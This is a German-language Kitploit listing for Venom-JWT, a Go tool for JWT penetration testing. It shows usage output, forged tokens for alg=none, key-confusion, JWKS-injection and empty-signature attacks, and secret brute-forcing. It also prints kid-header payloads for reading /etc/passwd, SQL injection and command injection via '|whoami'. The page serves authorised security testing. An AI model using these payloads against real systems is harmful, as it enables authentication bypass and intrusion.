Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Venom-JWT — Ein Tool zur Schwachstellenverifizierung und zum Schlüssel-Brute-Forcing für JWT-Penetrationstests. Es generiert Ergebnisse für FUZZ im Hinblick auf CVE-2015-9235/Blank-Key-/Angriffe mit unverifizierten Signaturen/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042. Zudem kann es mittels Wörterbuch-/Zeichenenumeration (einschließlich JJWT) Brute-Force-Angriffe (JWT Crack) durchführen. | Kitploit
Tools/GitHubGitHub/z-bool/venom-jwt
Passwort-CrackingSchwachstellenanalyseExploitationWebsicherheitFuzzingPenetrationstests
GitHubz-bool/venom-jwt

Venom-JWT

Repository anzeigen
28910vor 1 JahrVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

Ein Tool zur Schwachstellenverifizierung und zum Schlüssel-Brute-Forcing für JWT-Penetrationstests. Es generiert Ergebnisse für FUZZ im Hinblick auf CVE-2015-9235/Blank-Key-/Angriffe mit unverifizierten Signaturen/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042. Zudem kann es mittels Wörterbuch-/Zeichenenumeration (einschließlich JJWT) Brute-Force-Angriffe (JWT Crack) durchführen.

Teilen

Venom-JWT-Penetrationstool – Penetrationstest für JWT-Schwachstellen und Secret-Brute-Force

Wichtiger Hinweis: Die in diesem Dokument erwähnten Techniken, Ideen und Werkzeuge dienen ausschließlich dem Lern- und Austauschzweck im Sinne der Sicherheit. Niemand darf sie für illegale Zwecke oder zur Gewinnerzielung verwenden; andernfalls trägt der Nutzer die Konsequenzen selbst.

Ein Schwachstellenverifizierungs-/Secret-Brute-Force-Tool, das für JWT-Penetrationstests entwickelt wurde. Es generiert Ergebnisse für CVE-2015-9235 / Angriffe mit ungeprüfter Signatur / CVE-2016-10555 / CVE-2018-0114 / CVE-2020-28042, die für FUZZ verwendet werden können; alternativ kann auch per Wörterbuch/Zeichenaufzählung gebrute-forced werden.

Toolvorstellung · Bedienungsanleitung · Hinweise · Technischer Austausch

Toolvorstellung

Hintergrund des Tools:

Bei Penetrationstests in Firmenprojekten, insbesondere bei Projekten mit getrenntem Frontend und Backend, wird JWT häufig als Token zur Berechtigungsprüfung verwendet. Normalerweise kann man Tools wie jwt-tool verwenden, aber sie sind trotzdem nicht „alles in einem“. Deshalb habe ich mit Go ein All-in-one-Hilfstool für JWT-Penetrationstests entwickelt, um euch bei Tests auf Rechteausweitung zu unterstützen.

Was sind die Anwendungsszenarien dieses Tools?

  • JWT als Authentifizierungsmethode
  • Die generierten JWT-Ergebnisse mit modifiziertem Payload werden in den Repeater eingefügt, um zu verifizieren, ob ein ohne Secret nutzbarer N-Day existiert
  • Falls kein N-Day existiert, wird das JWT-Secret gebrute-forced

Was sind die Vorteile dieses Tools?

  • Interaktive, geführte Parameterausführung / Ausführung mit Befehlszeilenparametern =》 zwei Betriebsarten
  • Berücksichtigt die meisten bekannten JWT-Schwachstellen
  • Kontinuierliche Wartung auf Basis von Issues (ihr wisst ja: Wenn ihr beim Testen Probleme findet, müssen nur Optimierungen vorgenommen werden – ganz bequem)

Bedienungsanleitung

root@kitploit:~
# 打包
go mod tidy 
cd cmd
go build.

# 命令行运行
.\cmd.exe -h
Usage of C:\Users\xxx\Venom-JWT\cmd\cmd.exe:
  -df string
        是否使用文件中的payload,默认为空使用角色内置字典(绑定模式2),模式3非空(绑定模式3)
  -em int
        secret加密模式NONE/MD5/16位MD5/BASE64(默认ALL=>0,NONE=>1,MD5=>2,16位MD5=>3,BASE64)
  -fs string
        爆破的默认字典,可以自行按猜测的规则修改(配合-fz 位数使用) (default "abcdefghijklmnopqrstuvwxyz0123456789")
  -fz int
        字符爆破最大字符数(如果字符爆破要指定位数-fz)
  -jbc string
        需要修改的JWT body
  -jm int
        模式1:(未知Secret)修改Payload越权测试 模式2: (先测试模式1)PayloadFuzz越权测试 模式3:secret文本爆破 模式4:secret字符爆破(如果字符爆破要指定位数-fz)模式5:对JWT的Secret进行验证 (default 1)
  -jwt.txt string
        JWT字符串
  -mz int
        字符爆破最小字符数(如果字符爆破要指定位数-mz),默认为1 (default 1)
  -pem string
        公钥pem的路径(最好绝对路径)
  -pt int
        选择模式:0为默认全执行,1为修改alg为none(CVE-2015-2951),2为未验证签名导致的越权,3修改非对称密码算法为对称密码算法(CVE-2016-10555) 4为JWKS公钥注入--伪造密钥(CVE-2018-0114) 5 为空签名(CVE-2020-28042)
  -s string
        已知Secret,默认为空
        
# 交互式运行
.\cmd.exe
? 【前置选择】未知secret的情况下修改JWT测试越权,请选择模式:
[·]  [Use arrows to move, type to filter]
> 模式1:(未知Secret)修改Payload越权测试
  模式2:(先测试模式1)PayloadFuzz越权测试
  模式3:secret文本爆破
  模式4:secret字符爆破
  模式5:对JWT的Secret进行验证

? 请输入你的JWT字符串:
[·] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
[+]JWT Header: {"alg":"HS256","typ":"JWT"}
JWT Payload: {"iss":"admin","iat":1701375177,"exp":1701382377,"nbf":1701375177,"sub":"user","jti":"a01707f44f7df8b5cbe5e129a0f5c311"}
JWT Signature: 563a9ae6f62ff6e454aa2690a6c0f196cc067cae67dae980a7e36b634a77f5b8

? 【模式1】【模式2】未知secret的情况下修改JWT测试越权,请选择具体测试模式:
[·]  [Use arrows to move, type to filter]
> 模式0:默认全执行
  模式1:修改alg为none(CVE-2015-2951)
  模式2:未验证签名导致的越权
  模式3:修改非对称密码算法为对称密码算法(CVE-2016-10555)
  模式4:JWKS公钥注入--伪造密钥(CVE-2018-0114)
  模式5:空签名(CVE-2020-28042)

? 您在选择【模式1】【模式2】【模式5】中需要修改JWT的第二部分Payload中JSON字符串进行修改测试越权,请从上一步中复制Payload部分修改完后在此输入:
【模式1】【模式5】示例:{"username":"admin","role":"admin"}
【模式2】示例:{"usernmae":"admin","role":"FUZZ"}
请注意【模式2】中的FUZZ此处为字典替换位置,如果不修改可以直接为enter回车默认使用原Payload

? 请输入您搜集的公钥pem的文件路径(最好为绝对路径)
[·] C:\Users\15403\Desktop\Venom-JWT\public_key.pem

==============没secret修改Payload的越权测试===========

① 大部分情况在alg为HS256时候,可以将JWT改为none的情况(CVE-2015-9235)

[+]【alg为none】: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg为None】: eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg为NoNe】: eyJhbGciOiJOb05lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg为NONE】: eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
② 未验证签名攻击:修改Payload不校验

[+]【无效签名攻击】: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
③ 修改非对称密码算法为对称密码算法(CVE-2016-10555)攻击

[+] 【修改非对称密码算法为对称密码算法】:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiIiLCJraWQiOiIiLCJ1c2UiOiIiLCJuIjoiIiwiZSI6IiJ9fQ.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.h3V6ZHHJ3tt080xFLsA4U1_Z0VT8wkLQD9I2miqIeE0
④ JWKS公钥注入--伪造密钥(CVE-2018-0114)攻击

[+]【伪造密钥】: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiJSU0EiLCJraWQiOiJleGFtcGxlQGV4YW1wbGUuY29tIiwidXNlIjoic2lnIiwibiI6IjdLVktGZXpyeTlIclRFUERUcG5Xc2V3cnZQUkNsVE1pZXNGb1BXVlFtOTRMbFpwZzhmT1puMU4zMWNMMWdMUDROTExqek42cmFfRG8tQnJyZEVNMkpSeVVpUjUxUEpKTFUyRG9TdUNZcHlhTk53TG0zNzZEY09td1VyWlJ1SVVyMmlpWWJsVVJwaXl4SVl1SzJuWVIzYzBvalZGdnNJMmluc25PZnhIaTJvWkNWdS1SeDdVQkJIdDFRUUxzUEc4MDh4cVJDTU4yd1EwYklDNVZKWkl3YzhaQnVCNnVEUXRnSFc2UjBKc0hyU1BOVk9wY2NXbHJURlpGQjV0SVhxMUhJLUh1QnZ4WW53LWRYdU1FYWZSczFkQzg5Q3FfQ1FHSnY0M2h4SzZsQlZ4bnNQYWQ2QmpGSGZrSVQxdnk4LTNfSUJMT2J0Vnp0eDQyTmFGTzhzcVZrUSIsImUiOiJBUUFCIn19.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.6yhddpQy3gxajRYCc3HQHGflqLfyN3Ettre95E_u_BYtEl7-6058CKEdQjWT8CIPD7UGz6Mktx43o8Q2R5ILzkro2TkrE7ELW0--CDCf1bot--ho8LCovybl5TZtTGbSfE5F1zPiQCPnJTnQOe438VU7-MykBVFW690B1Ymk6YbmTzVyVS3mgdE252ocGHIyoG8EEPW3u3ZYXcB9rL30-mNLKmkctPHRCE-TXv7CZtLsrwK7SJTPgBh1jKtsdfFEXtpGrHOwaG2OOk5k8CzpIbWN9rt6lp4hlVaX-5Y1WWpPRHsmBCLVytZaJ2iQtLJjaZM659_hK_w5Os6sngyVNA
⑤ 空签名(CVE-2020-28042)攻击

[+]【空签名】: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
注意:所有JWT结果都已经保存在运行目录下的result.txt中,可以去重放Intruder测试是否为可行Token

① In den meisten Fällen kann bei alg=HS256 der Algorithmus auf none geändert werden (CVE-2015-9235)

② Angriff über ungeprüfte Signatur: Payload wird ohne Verifizierung geändert

③ Angriff: Änderung des asymmetrischen Verschlüsselungsalgorithmus in einen symmetrischen (CVE-2016-10555)

④ JWKS-Öffentlicher-Schlüssel-Injektion – Schlüsselfälschung (CVE-2018-0114)

⑤ Leere Signatur (CVE-2020-28042)

result.txt Kann direkt im Repeater erneut abgespielt werden.

Weitere besondere Schwachstellenfunde:

Beim Parsen des ersten JWT-Segments wird, falls weitere Parameter gefunden werden, die andere Schwachstellen verursachen könnten, ein Hinweis ausgegeben.

root@kitploit:~
// Java的jjwt测试代码
public class JwtExample {
    private static void disableKeyLengthCheck() throws Exception {
        // 使用反射修改 SignatureAlgorithm.HS256 的 minKeyLength
        Field minKeyLengthField = SignatureAlgorithm.class.getDeclaredField("minKeyLength");
        minKeyLengthField.setAccessible(true);
        minKeyLengthField.set(SignatureAlgorithm.HS256, 0); // 将最小密钥长度设置为 0
    }
    public static void main(String[] args) throws Exception {
        disableKeyLengthCheck();
        // 原始密钥
        String secret = "test@123";


        JwtBuilder jwtBuilder = Jwts.builder().setHeaderParam("kid", "your-key-id").setId("400").setSubject("test").setAudience("{\"abc\":\"123\"}").signWith(SignatureAlgorithm.HS256, secret.getBytes());
        HashMap<String, Object> stringObjectHashMap = new HashMap<>();
        stringObjectHashMap.put("test", "test");
        jwtBuilder.addClaims(stringObjectHashMap);
        System.out.println(jwtBuilder.compact());
    }
}

Ergebnis der Generierung: eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.QhH2ACZXaoa3F5LIDAQVnhoCgsXWEIw44H7m6pO9bxM

jwtio

kid

提示

Die hier relevanten Schwachstellen (von mir aus anderen Artikeln zusammengetragen – bitte selbst analysieren)

Modifikation des KID-Parameters

1. Beliebige Dateien lesen

Der KID-Parameter wird zum Lesen der Schlüsseldatei verwendet, aber das System weiß nicht, ob der Benutzer tatsächlich die Schlüsseldatei lesen möchte. Wenn der Parameter daher nicht gefiltert wird, kann ein Angreifer beliebige Dateien des Systems lesen.

root@kitploit:~
{  "typ": "JWT",  "kid": "/etc/passwd",  "alg": "HS256"}

2. SQL-Injection

KID kann auch zum Extrahieren von Daten aus der Datenbank verwendet werden. In diesem Fall besteht die Möglichkeit einer SQL-Injection, bei der durch konstruierte SQL-Anweisungen Daten abgerufen oder die Signaturprüfung umgangen wird.

Ist ein KID-Feld vorhanden, kann eine Injection versucht werden: Der KID-Wert wird in eine SQL-Anweisung geändert, username in Tom, und der Signaturschlüssel ist identisch mit der SQL-Anweisung. Da z. B. der Base64-Code von 3 in der SQL-Anweisung Mw== lautet, wird der Signaturschlüssel als 3 angegeben:

root@kitploit:~
{ "typ": "JWT", "kid":"';select 'Mw==' from jwt_keys --"}

3. Befehlsinjektion

Bei unzureichender Filterung des KID-Parameters kann auch eine Befehlsinjektion auftreten, allerdings sind die Ausnutzungsbedingungen anspruchsvoll. Wenn das Backend Ruby verwendet und beim Lesen der Schlüsseldatei die open-Funktion genutzt wird, kann durch konstruierte Parameter eine Befehlsinjektion erreicht werden.

root@kitploit:~
{  "typ": "JWT",  "kid": "/path/to/key_file|whoami",  "alg": "HS256"}

Treten weitere Parameter auf, können auch diese weiter analysiert werden.

Nun ein Blick auf das Brute-Force-Modul

Sucht euch einfach ein Wörterbuch im Internet.

Test JWT1 (Secret 123456):

root@kitploit:~
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg

crack1

Test JWT2 (jjwt-Secret test@123):

root@kitploit:~
eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.QhH2ACZXaoa3F5LIDAQVnhoCgsXWEIw44H7m6pO9bxM

crack2

Anschließend wird mit JWT1 die Zeichengenerierung getestet:

dict Hier habe ich alle Wörterbücher mit 4–6 Zeichen generiert; die Eingabe war 1234567890. Für die Demo muss es nicht größer sein – ihr könnt es selbst testen, es ist auf jeden Fall schnell.

crack3

Hier wird im aktuellen Verzeichnis genFuzzDict.txt erzeugt. Da die erzeugte Menge sehr groß ist, wurde ursprünglich ein Thread-Pool mit Produzent-Konsumenten-Muster verwendet, aber nach dem tatsächlichen Lauf stürzte das Programm ab 4 Zeichen aufgrund von unzureichendem Speicher ab. Daher wurde auf das Speichern/Lesen über Textdateien umgestellt. Sobald das Programm den Schlüssel findet, beendet es sich von selbst und liest die Datei nicht weiter.

Noch ein Beispiel mit MD5:

root@kitploit:~
eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.cVkiZiHhiB4galgAh6EB_mrIOd3gPqqPsuXZq9S2MQw

md5

Hinweise

  • Die public_key.pem im Stammverzeichnis ist für den Test von 模式3:修改非对称密码算法为对称密码算法(CVE-2016-10555) zwingend erforderlich. Falls im JavaScript der Seite ein öffentlicher Schlüssel offengelegt ist, verwendet das mit dem öffentlichen Schlüssel der Seite gespeicherte Ergebnis; andernfalls wird diese Datei als Ersatz verwendet, um die Generierung durchzuführen, da sonst ein Fehler auftritt.
  • Alle Verzeichnispfade sind hier als absolute Pfade gesetzt, um Lesefehler beim Dateizugriff zu vermeiden, die Prozessfehler verursachen. Windows-Benutzer können Dateien direkt hineinziehen, um den absoluten Pfad automatisch zu vervollständigen. Für mac/linux-Benutzer ist die Pfadeingabe ohnehin bequemer – keine weitere Ausführung nötig.
  • Bei sonstigen BUG-Problemen könnt ihr im Backend des offiziellen Kontos „阿呆攻防“ eine private Nachricht hinterlassen oder ein Issue einreichen. Wenn ich die Nachricht im Backend sehe, helfe ich zeitnah bei der Behebung.

Technischer Austausch

Github für Penetrationstest-Diensttools: https://github.com/z-bool Venom

Github für Sicherheitsforschungsprojekte: https://github.com/SpringKill-team SpringKill Team

Offizieller WeChat-Account „阿呆攻防“:

Offizieller Account „阿呆攻防“
Tool herunterladen